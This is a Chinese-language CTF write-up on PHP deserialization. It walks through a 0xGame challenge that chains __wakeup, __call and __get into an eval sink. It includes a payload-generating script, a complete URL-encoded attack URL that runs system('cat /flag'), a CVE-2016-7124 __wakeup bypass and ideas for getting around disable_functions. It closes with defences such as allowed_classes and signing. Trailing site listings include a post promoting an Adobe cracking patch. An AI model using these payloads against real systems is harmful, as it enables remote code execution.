PHP反序列化漏洞实战:从魔术方法到POP链构造与防御
1. 项目概述从一道CTF题看PHP反序列化漏洞的实战利用最近在复盘一些CTF比赛的题目其中一道来自0xGame的“Rubbish_Unser”题让我印象挺深。这道题本身难度不算顶级但它非常典型几乎把PHP反序列化漏洞利用链条中的几个关键“零件”都摆了出来很适合用来做一次完整的实战教学复盘。很多刚接触代码审计和漏洞挖掘的朋友一看到反序列化就头疼感觉链条复杂魔术方法绕来绕去。其实只要你静下心来像搭积木一样把POP链Property-Oriented Programming面向属性编程也就是我们常说的EXP链的每个环节理清楚就会发现其中的逻辑非常清晰。今天我就以这道题为例手把手带你走一遍完整的分析、构造和利用过程。无论你是正在学习PHP安全的在校学生还是想巩固反序列化知识的开发人员相信这篇复盘都能给你带来实实在在的收获。我们会从源码审计开始一步步找到入口点分析可利用的魔术方法然后像拼图一样构造出最终的利用链EXP链最后生成Payload完成攻击。整个过程我会尽量把“为什么这么做”讲清楚而不仅仅是给出一个最终答案。2. 题目环境搭建与初步代码审计2.1 题目源码分析与功能理解首先我们需要一个靶场环境。通常CTF题目会提供完整的源码压缩包。假设我们拿到了“Rubbish_Unser”的源码解压后是一个标准的PHP项目结构。入口点一般是index.php。我们快速浏览一下发现它可能包含了一个类似这样的关键文件unser.php?php error_reporting(0); highlight_file(__FILE__); class Start { public $name; public $arg; public function __construct($name, $arg) { $this-name $name; $this-arg $arg; } public function __wakeup() { echo Welcome to 0xGame 2023!br; if ($this-name Rubbish) { echo Lets play!br; $this-arg-show(); } } } class Middle { public $obj; public function __call($name, $args) { if ($name show) { $this-obj-getFlag(); } } } class End { public $cmd; public function __get($name) { if ($name getFlag) { eval($this-cmd); } } } if (isset($_GET[data])) { $data $_GET[data]; unserialize($data); } else { echo No data input.; } ?当然真实的题目可能会更复杂有更多的类和文件但核心结构往往类似。上面这段代码是我为了教学还原的一个简化版它包含了三个类Start、Middle、End。我们的目标很明确通过控制$_GET[‘data’]这个参数传入一个我们精心构造的序列化字符串最终让eval($this-cmd);这行代码执行从而运行我们指定的系统命令例如system(‘cat /flag’);。注意在实际CTF比赛中eval直接执行命令的情况可能被禁用或者需要绕过disable_functions。这里我们聚焦于反序列化链的构造命令执行是最终目标的一种简化体现。2.2 反序列化漏洞入口点定位漏洞的入口非常清晰就是第40行的unserialize($data);。PHP的unserialize()函数在反序列化用户可控的数据时会根据序列化字符串中定义的类名自动去实例化相应的对象并按照字符串中的内容设置对象的属性值。在这个过程中如果类中定义了某些特定的“魔术方法”Magic Method这些方法会在反序列化的特定阶段被自动调用。我们的任务就是控制反序列化过程中产生的对象以及它们的属性让这些魔术方法按照我们设计的顺序依次触发最终达到执行任意代码的目的。这条触发路径就是所谓的“POP链”或“EXP链”。3. 核心魔术方法与POP链原理深度解析3.1 关键魔术方法的作用与触发时机要构造链必须先理解链上的每个“齿轮”——也就是魔术方法。这道题涉及了三个关键的魔术方法__wakeup() 这是我们的链的起点。当一个对象被unserialize()函数反序列化时如果该对象的类中定义了__wakeup()方法那么在反序列化完成、对象属性全部赋值之后这个方法会立即被自动调用。它就像是对象“苏醒”后做的第一件事。在Start类中__wakeup()里有一个条件判断if ($this-name ‘Rubbish’)如果满足就会调用$this-arg-show();。这里给了我们两个控制点一是控制$name属性为’Rubbish’来进入分支二是控制$arg属性让它成为一个我们精心设计的对象从而触发后续链条。__call() 这是我们的链的跳板。当尝试调用一个对象中不存在或者不可访问的方法时__call($name, $args)方法会被触发。$name是试图调用的方法名$args是参数数组。在Middle类中我们定义了__call()。注意看Start::__wakeup()里的$this-arg-show();。如果我们让$this-arg成为一个Middle类的对象并且Middle类中没有名为show的公共方法那么对show()方法的调用就会触发Middle::__call(‘show’, [])。在__call()内部我们又看到了$this-obj-getFlag;。注意这里调用的是getFlag属性而不是方法因为没有括号。这为下一步埋下了伏笔。__get() 这是我们的链的终点和攻击执行点。当尝试读取一个对象中不存在或者不可访问的属性时__get($name)方法会被触发。$name是试图读取的属性名。在End类中我们定义了__get()。接上一步$this-obj-getFlag试图读取$obj对象的getFlag属性。如果我们让$this-obj成为一个End类的对象并且End类中没有名为getFlag的公共属性那么这次读取操作就会触发End::__get(‘getFlag’)。在这个方法内部直接执行了eval($this-cmd);。至此我们只要控制End对象的$cmd属性为我们想要的PHP代码如system(‘ls’);攻击就成功了。3.2 POP链的串联逻辑与构造思路理清了魔术方法整个链条就清晰了unserialize()-Start对象被还原 -__wakeup()自动触发 - 检查$name- 调用$arg-show()-$arg是Middle对象无show()方法 - 触发Middle::__call()- 内部尝试读取$obj-getFlag-$obj是End对象无getFlag属性 - 触发End::__get()- 内部执行eval($cmd)。我们的构造任务就是创建一个Start对象设置其$name’Rubbish’$arg属性为一个Middle对象同时设置这个Middle对象的$obj属性为一个End对象最后设置这个End对象的$cmd属性为我们要执行的命令字符串。4. 手把手构造EXP链与生成Payload4.1 分步构建序列化对象我们不需要手动拼接复杂的序列化字符串利用PHP本身来生成是最稳妥的方式。我们可以写一个本地的PHP脚本?php class Start { public $name; public $arg; } class Middle { public $obj; } class End { public $cmd; } // 1. 创建最终执行命令的End对象 $end new End(); $end-cmd system(cat /flag);; // 这里替换成你想要执行的命令 // 2. 创建Middle对象并将其obj属性指向End对象 $middle new Middle(); $middle-obj $end; // 3. 创建Start对象设置name为Rubbisharg属性指向Middle对象 $start new Start(); $start-name Rubbish; $start-arg $middle; // 4. 序列化Start对象它会递归序列化其属性所引用的所有对象 $payload serialize($start); echo $payload; echo \n\n; echo URL Encoded: . urlencode($payload); ?运行这个脚本你会得到类似如下的序列化字符串O:5:”Start”:2:{s:4:”name”;s:7:”Rubbish”;s:3:”arg”;O:6:”Middle”:1:{s:3:”obj”;O:3:”End”:1:{s:3:”cmd”;s:20:”system(‘cat /flag’);”;}}}这个字符串的结构解读如下O:5:”Start”:2:{...}表示这是一个对象Object类名长度为5”Start”有2个属性。s:4:”name”;s:7:”Rubbish”;表示第一个属性名是长度为4的字符串”name”其值是长度为7的字符串”Rubbish”。第二个属性s:3:”arg”;的值是另一个对象O:6:”Middle”...这就形成了对象的嵌套。最终最内层的End对象的cmd属性存储着我们的恶意代码。4.2 Payload的传递与触发拿到序列化字符串后我们需要将它传递给目标。题目是通过GET参数data接收的。由于序列化字符串包含很多特殊字符如引号、花括号直接放在URL里可能会被错误解析所以需要进行URL编码。上面脚本输出的urlencode结果就是已经处理好的。假设目标地址是http://target.com/unser.php那么最终的攻击URL就是http://target.com/unser.php?dataO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A7%3A%22Rubbish%22%3Bs%3A3%3A%22arg%22%3BO%3A6%3A%22Middle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22End%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A20%3A%22system%28%27cat%20%2Fflag%27%29%3B%22%3B%7D%7D%7D访问这个链接服务器端的unserialize()就会处理我们的Payload触发完整的EXP链执行cat /flag命令并将结果输出到页面上。5. 实战中的进阶技巧与深度避坑指南5.1 绕过__wakeup()的失效问题CVE-2016-7124这是一个非常经典的坑点。在PHP 5.6.25之前和7.0.10之前的版本中存在一个特性CVE-2016-7124当序列化字符串中表示对象属性个数的值O:5:”Start”:2中的2大于实际类中声明的属性个数时__wakeup()方法将不会被执行。为什么我们要绕过__wakeup()有时__wakeup()方法里会有一些“破坏性”的操作比如清空重要属性、重置状态这会打断我们的EXP链。在这道题里__wakeup()是我们链的起点不需要绕过。但你必须知道这个技巧因为很多题目会故意在__wakeup()里设置障碍。绕过方法手动修改序列化字符串。例如Start类有$name和$arg两个属性序列化后是:2:。我们可以把它改成:3:、:100:等大于2的数字。例如 原字符串O:5:”Start”:2:{s:4:”name”;...修改为O:5:”Start”:3:{s:4:”name”;...这样在触发CVE-2016-7124的PHP环境下__wakeup()就不会执行但对象属性依然会被还原。不过修改后字符串长度对不上会报错你需要确保花括号{}内的属性数量与修改后的数字看起来一致虽然实际类定义没那么多或者利用PHP解析的容错性。更稳妥的方法是使用工具或脚本生成。实操心得遇到链子断在__wakeup()的情况首先检查PHP版本信息可能通过报错、phpinfo等泄露如果版本可能受此漏洞影响尝试修改属性数量是第一步。5.2 处理私有属性与保护属性在真实审计或更复杂的题目中类的属性可能被定义为private私有或protected受保护。它们的序列化格式与公有属性public不同。私有属性private序列化后格式为%00类名%00属性名。例如在Start类中私有属性$name会被序列化为s:10:”\0Start\0name”;。这里的\0代表空字符ASCII 0。受保护属性protected序列化后格式为%00*%00属性名。例如受保护的$arg会被序列化为s:6:”\0*\0arg”;。为什么这很重要当你手动构造Payload或者从一处上下文序列化的字符串用到另一处时如果属性可见性不匹配反序列化会失败或者属性值无法正确赋值导致链子断裂。应对策略精确复制如果可能尽量在目标代码相同的环境下或模拟相同类定义生成Payload。手动修改如果必须手动修改要注意空字符\0的表示。在URL传输时\0需要编码为%00。所以一个私有属性的序列化部分在URL中会看起来像s:10:”%00Start%00name”;。使用工具像phpggc这样的工具链生成器或者一些CTF专用脚本能很好地处理这类问题。5.3 利用其他魔术方法拓宽攻击面除了__wakeup,__call,__get还有其他魔术方法常被用于POP链构造__destruct()对象被销毁时触发。这是最常用的链子起点或关键节点之一因为反序列化产生的对象在请求结束后总会被销毁__destruct()几乎必然执行。比__wakeup()更可靠。__toString()当一个对象被当作字符串处理时触发如echo $obj;。常用于从对象属性读取跳转到方法调用。__invoke()当一个对象被当作函数调用时触发如$obj()。这是一个非常强大的跳板。__isset()、__unset()在对属性使用isset()或unset()时触发。一道复杂的题目链子可能会横跨多个类串联起五六个甚至更多的魔术方法。审计的关键在于全局搜索所有类的定义画出类与类之间通过属性产生的关联图然后寻找一条从可控的入口点如__wakeup、__destruct到危险函数如eval,system,file_put_contents的路径。5.4 命令执行与无参数RCE的思考我们例子中最终用了eval执行系统命令。但在实际CTF或渗透测试中情况可能更复杂disable_functionsPHP可能禁用了system,shell_exec,exec等函数。这时需要寻找其他出路比如用phpinfo()查看可用函数尝试使用LD_PRELOAD劫持、ImageMagick漏洞、FFI扩展等复杂方式绕过。无参数RCE有时题目限制极其严格不允许函数带参数。这就需要利用PHP的一些“怪癖”来构造利用链。例如利用getallheaders()或get_defined_vars()从HTTP头或其他超全局变量中获取数据。利用session_id()从Cookie中获取数据。利用dirname(chdir(‘.’))、current(localeconv())等组合来读取目录列表。终极技巧是利用scandir()列出文件再用array_rand()、next()、current()等函数进行“盲选”结合file_get_contents()读取文件。这通常需要编写自动化脚本进行爆破。在“Rubbish_Unser”这道题中我们假设没有这些限制。但如果遇到你的EXP链构造思路不变只是最终$cmd的 payload 需要换成更高级的、能绕过限制的PHP代码。6. 从CTF到实战PHP反序列化漏洞的防御之道通过这道题我们完美复现了一次攻击。但作为开发者我们更应该思考如何避免自己的代码出现此类问题。6.1 安全的反序列化实践根本方法避免反序列化不可信数据这是最彻底的原则。如果业务逻辑非要用序列化存储数据可以考虑使用JSON (json_encode/json_decode) 它更安全、更通用。使用安全的白名单机制如果必须使用unserialize()可以配合allowed_classes参数PHP 7.0。这个参数可以限制反序列化时允许实例化的类从根本上杜绝攻击者引入危险类。// 只允许反序列化MySafeClass类 $data unserialize($user_input, [‘allowed_classes’ [‘MySafeClass’]]); // 或者完全不允许实例化任何类 $data unserialize($user_input, [‘allowed_classes’ false]);签名与验证对序列化后的数据进行签名如HMAC在反序列化前验证签名确保数据未被篡改。严格类型检查与属性验证在魔术方法尤其是__wakeup()和__destruct()中对反序列化得到的对象属性进行严格的类型和取值范围检查。6.2 代码审计中的关注点在审计PHP代码时看到unserialize()就要立刻提高警惕溯源数据这个参数是否用户完全可控是否经过了足够的过滤检查类项目自定义的类中是否包含了危险的魔术方法这些魔术方法内部是否调用了危险函数eval,system,call_user_func,file_put_contents等寻找链这些带有魔术方法的类其属性是否可以被控制为其他类的对象类与类之间能否形成一条调用链6.3 工具辅助与自动化挖掘对于大型项目手动审计效率低。可以借助一些工具辅助phpggc一个著名的PHP反序列化利用链生成工具集集成了ThinkPHP、Laravel、Symfony等主流框架的公开利用链。phpscan、rips等静态代码分析工具可以快速扫描代码库找出unserialize()调用点和潜在的敏感函数调用。自定义静态分析脚本用正则或简单的AST分析快速提取所有类及其魔术方法定义帮助理清代码结构。复盘这道“Rubbish_Unser”我们不仅完成了一次EXP链的构造练习更重要的是理解了PHP反序列化漏洞从发现、分析到利用、防御的完整逻辑。记住漏洞挖掘就像解谜耐心梳理代码流程理解每个魔术方法的触发条件大胆假设、小心验证你就能把看似杂乱的“垃圾”Rubbish代码变成打开系统大门的钥匙。

相关新闻

CentOS 安装Docker 报错requires container-selinux >= :.x

CentOS 安装Docker 报错requires container-selinux >= :.x

CentOS 安装Docker 报错requires container-selinux > :.x 的解决办法 1. 问题的出现:一个让人抓狂的报错作为一名运维老手,你肯定遇到过这样的情况:按部就班地执行 yum install docker-ce 命令,满心期待Docker能顺利安装&…

2026/7/28 19:27:32 阅读更多 →
idea去掉 .idea 和 .iml 的方法

idea去掉 .idea 和 .iml 的方法

使用此方法,可以让界面变得更加简洁!

2026/7/28 19:27:32 阅读更多 →
Windows 下升级 Maven 3.6.1 到 3.9.9 踩坑全记录

Windows 下升级 Maven 3.6.1 到 3.9.9 踩坑全记录

📌 问题场景 在 Maven 多模块 Spring Boot 项目打包时,突然报错: Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.14.0:compile The plugin requires Maven version 3.6.3 检查一下自己的 Maven 版本&#xff…

2026/7/28 19:27:32 阅读更多 →

最新新闻

如何免费使用Adobe Creative Cloud:GenP 3.0完整破解教程

如何免费使用Adobe Creative Cloud:GenP 3.0完整破解教程

如何免费使用Adobe Creative Cloud:GenP 3.0完整破解教程 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP 你是否渴望使用Photoshop、Premiere Pro等专业…

2026/7/28 19:37:35 阅读更多 →
TPIC7710EVM评估板:汽车电子驻车制动ASIC的硬件设计与软件调试实战指南

TPIC7710EVM评估板:汽车电子驻车制动ASIC的硬件设计与软件调试实战指南

1. 项目概述与核心价值在汽车电子和工业电机驱动开发领域,从一颗功能复杂的专用集成电路(ASIC)到一套稳定可靠的系统,中间往往横亘着硬件设计、软件驱动、功能验证等多重挑战。直接基于芯片数据手册进行原理图设计和PCB打样&#…

2026/7/28 19:37:35 阅读更多 →
C/C++:字符串分割、版本比较

C/C++:字符串分割、版本比较

一、getline()1、从屏幕读入&#xff0c;切分&#xff0c;不会跳出while。会一直等待输入&#xff0c;换行无效string s; while(getline(cin, s)) { // 默认按空格切分cout << s << endl; }string s; while(getline(cin, s, .)) { // 按.切分…

2026/7/28 19:37:35 阅读更多 →
正面硬刚英伟达!AMD机架级AI系统Helios全面投产,三季度末出货

正面硬刚英伟达!AMD机架级AI系统Helios全面投产,三季度末出货

当地时间7月23日&#xff0c;AMD在旧金山举办的Advancing AI 2026大会上正式发布Helios机架级AI解决方案。AMD表示&#xff0c;该产品已进入全面量产阶段&#xff0c;预计于2026年第三季度末开始出货&#xff0c;2027年进一步放量。据AMD官方披露&#xff0c;Helios单机架集成7…

2026/7/28 19:37:35 阅读更多 →
matlab调用ANSYS

matlab调用ANSYS

最近使用ANSYS计算温度场方面的东西,每次都要手动运行,自己处理计算结果。可怜无助的我深感劳累啊,最主要的是怎么能把我宝贵的时间用在重复的劳动中。so,出于懒的需要,查询了一些关于matlab调用ANSYS的资料,经过自己实践,整理了以下内容。 1、调用ANSYS !"D:\AN…

2026/7/28 19:37:35 阅读更多 →
TPIC7710EVM评估套件:汽车电子电机驱动ASIC的硬件设计与GUI软件实操指南

TPIC7710EVM评估套件:汽车电子电机驱动ASIC的硬件设计与GUI软件实操指南

1. 项目概述与核心价值在汽车电子和工业控制领域&#xff0c;当我们拿到一颗功能复杂的专用集成电路&#xff08;ASIC&#xff09;时&#xff0c;最头疼的问题往往不是芯片本身&#xff0c;而是如何快速、准确地验证它的功能&#xff0c;并将其集成到自己的系统中。数据手册上的…

2026/7/28 19:36:35 阅读更多 →

日新闻

告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿&#xff01;3步让你的暗影精灵笔记本重获新生 【免费下载链接】OmenSuperHub Control Omen laptop performance, fan speeds, and keyboard lighting, and unlock power limits. 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub 你是否也曾为官方Om…

2026/7/28 0:00:43 阅读更多 →
RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

做 RAG 的人应该都踩过这个致命的坑&#xff1a;把几百页的财报、法规、技术手册扔给向量库&#xff0c;问一个具体问题&#xff0c;搜出来的全是沾边但没用的内容 —— 关键信息要么被硬切块拆碎了&#xff0c;要么藏在几十条结果的最下面。语义相似≠真正相关&#xff0c;这个…

2026/7/28 0:00:43 阅读更多 →
抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

2026年做短视频运营&#xff0c;从抖音上扒文案早就不是偷偷抄笔记的事了。我刚开始做内容的时候&#xff0c;每天刷半小时抖音&#xff0c;手动把爆款视频的口播敲进备忘录&#xff0c;一条2分钟的视频得花十来分钟&#xff0c;碰到语速快的还要反复回听。后来试了一圈工具&am…

2026/7/28 0:00:43 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档&#xff0c;可以直接使用&#xff01;系统支持图片、视频、摄像头等多种方式检测裂缝&#xff0c;功能强大实用。 1数据集6000张 8各类别

2026/7/28 12:04:22 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像&#xff01; pubg绝地求生目标检测数据集 1分类&#xff1a;e_body&#xff0c;14905个标签&#xff0c;txt格式 共计14244张图&#xff0c;99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/28 8:29:16 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别&#xff1a; allies enemy tag图片总量&#xff1a;7247张训练集&#xff1a;5139张验证集&#xff1a;1425张测试集&#xff1a;683张标注状态&#xff1a;全部已标注&#xff0c;即拿即用数据格式&#xff1a;支持YOLO格式及其他格式&#…

2026/7/28 5:03:42 阅读更多 →

月新闻